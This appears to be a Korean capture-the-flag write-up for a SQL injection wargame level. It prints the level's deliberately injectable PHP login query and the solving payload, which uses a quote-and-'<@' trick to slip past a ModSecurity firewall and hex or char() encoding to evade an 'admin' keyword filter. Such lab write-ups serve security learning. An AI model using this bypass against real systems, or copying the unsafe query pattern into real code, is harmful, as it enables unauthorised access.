728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
ModSecurity(웹 방화벽,WAF) 우회 문제이다.
id가 admin이어야 풀린다.
답: ?id='<@ or id=0x61646d696e%23
왜 <@를 쓰는지는 cthulhu 문제 풀이에 있다.
https://dbgdbg.tistory.com/entry/cthulhu
admin이 필터링되기 때문에 0x61646d696e를 사용한다.
admin=char(97,100,109,105,110)으로 대체 가능하다.
728x90